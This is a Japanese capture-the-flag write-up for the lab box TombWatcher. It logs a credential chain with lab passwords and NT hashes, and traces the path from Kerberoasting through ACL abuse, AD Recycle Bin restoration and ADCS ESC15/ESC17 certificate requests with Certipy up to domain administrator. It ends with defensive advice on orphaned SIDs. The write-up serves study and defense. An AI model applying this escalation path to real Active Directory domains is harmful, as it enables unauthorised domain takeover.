    • 変更内容: Request ID 5, 6, 8, 10 が発行された。
    • 生成物: cert_admin.pfx, administrator.pfx, administrator.ccache。
    • 復旧: CA 管理権限がある場合は該当要求・証明書を失効し、ローカルの PFX/ccache を削除する。
    • 検証: 未確認。
  • henry / H3nry_987TGV!

    • 入手元: ボックス開始時に与えられた初期資格情報。
    • 初回使用: SMB/LDAP 列挙。
    • 可能にしたこと: WriteSPN 経由で Alfred を Kerberoast する起点。
  • alfred / basketball

    • 入手元: henry による Alfred への SPN 追加後、Kerberoasting した TGS hash を hashcat でクラック。
    • 初回使用: SMB 認証確認、その後 Infrastructure への AddSelf。
    • 可能にしたこと: Infrastructure membership による ansible_dev$ gMSA hash 取得。
  • ansible_dev$ : 47f92356b62e2b1c7b185df4842b63ad

    • 入手元: alfred が Infrastructure メンバーになった後、nxc ldap --gmsa で取得。
    • 初回使用: sam の ForceChangePassword。
    • 可能にしたこと: sam のパスワードリセット。
  • sam / HappyPwn2026!

    • 入手元: ansible_dev$ の ForceChangePassword により設定。
    • 初回使用: john の owner 変更と GenericAll 付与。
    • 可能にしたこと: john のパスワードリセット。
  • john / HappyPwn3030!

    • 入手元: sam が john に GenericAll を得た後に設定。
    • 初回使用: WinRM ログイン。
    • 可能にしたこと: user flag 取得、OU=ADCS と Deleted Objects の調査、cert_admin 復元。
  • cert_admin / HappyPwn4000!

    • 入手元: john の OU=ADCS に対する GenericAll が復元後 cert_admin に継承され、パスワードリセットできた。
    • 初回使用: certipy find と certipy req。
    • 可能にしたこと: WebServer テンプレートの ESC15/ESC17 経由で Administrator 証明書を要求。
  • Administrator NT hash

    • 値: f61db423bebe3328d33af26741afe5fc
    • 入手元: administrator.pfx を certipy auth し、PKINIT 後に NT hash を取得。
    • 初回使用: WinRM pass-the-hash。
    • 可能にしたこと: tombwatcher\administrator として root flag 取得。
  • Flags

    • C:\Users\john\Desktop\user.txt: [REDACTED]
    • C:\Users\Administrator\Desktop\root.txt: [REDACTED]
  • Certificate artifacts

    • cert_admin.pfx: WebServer テンプレートから Certificate Request Agent application policy を指定して取得した証明書と秘密鍵。
    • administrator.pfx: cert_admin.pfx を使い、User テンプレートで TOMBWATCHER\Administrator の代理要求により取得した証明書と秘密鍵。
    • administrator.ccache: administrator.pfx から Certipy が取得した Kerberos credential cache。
  • AD ポート構成から DC と判断する見方。
  • Kerberos 利用時の時刻同期。
  • BloodHound/RustHound の ACL エッジを、実際の LDAP/AD オブジェクト操作に落とす考え方。
  • WriteSPN からの Kerberoasting。
  • AddSelf、ReadGMSAPassword、ForceChangePassword、WriteOwner、GenericAll の意味と悪用順序。
  • AD Recycle Bin の isDeleted、isRecycled、lastKnownParent、msDS-LastKnownRDN の読み方。
  • 削除済みオブジェクトの SID が、別オブジェクトの ACL に残っているケースの調査。
  • ADCS テンプレート ACL、Certificate-Enrollment extended right、ESC15/ESC17 の読み方。
  • Certipy の req、auth、-application-policies、-pfx、-on-behalf-of の使い分け。
  • 証明書に UPN/SID が入っているか確認してから認証へ進む習慣。

このボックスの要点は、BloodHound の経路を「ツールの指示」としてではなく、各 AD オブジェクトの ACL と状態変化として理解することだった。特に system 側では、OU=ADCS の GenericAll を GPO 編集と誤読せず、空の OU から Deleted Objects に発想を切り替える必要があった。

cert_admin 復元の判断も、名前や membership ではなく SID の参照先を見るのが決定打だった。削除済みオブジェクトの SID が証明書テンプレート ACL に残っている、という発想は ADCS 系の問題で再利用しやすい。最後の Certipy でも、証明書が発行されたことだけでは不十分で、認証に使える UPN と SID が入っているかを出力で確認することが重要だった。

防御側の観点でも、この経路は重要な示唆がある。アカウントを削除しても、その SID が他の ACL に残り続ける場合がある。AD Recycle Bin で復元されると、その SID に紐づく権限も再び有効になる。さらに、OU への委任権限が削除済みオブジェクトの復元とパスワードリセットに結びつくと、証明書テンプレート上の孤立 SID がそのまま権限復活の入口になる。AD CS の ACL 監査と通常の AD ACL 監査は分離して見られがちだが、実際には SID という同じ識別子でつながっている。

したがって、アカウント削除時にはユーザーを消すだけでは足りない。その SID がグループ、OU、GPO、証明書テンプレート、CA 権限などの ACL に残っていないかを検索し、不要な ACE を削除する必要がある。今回の Box を一言で表すなら、単なる AD CS Box ではなく、AD オブジェクトのライフサイクルと SID ベースの権限管理を、BloodHound から証明書まで一貫して学べる Box だった。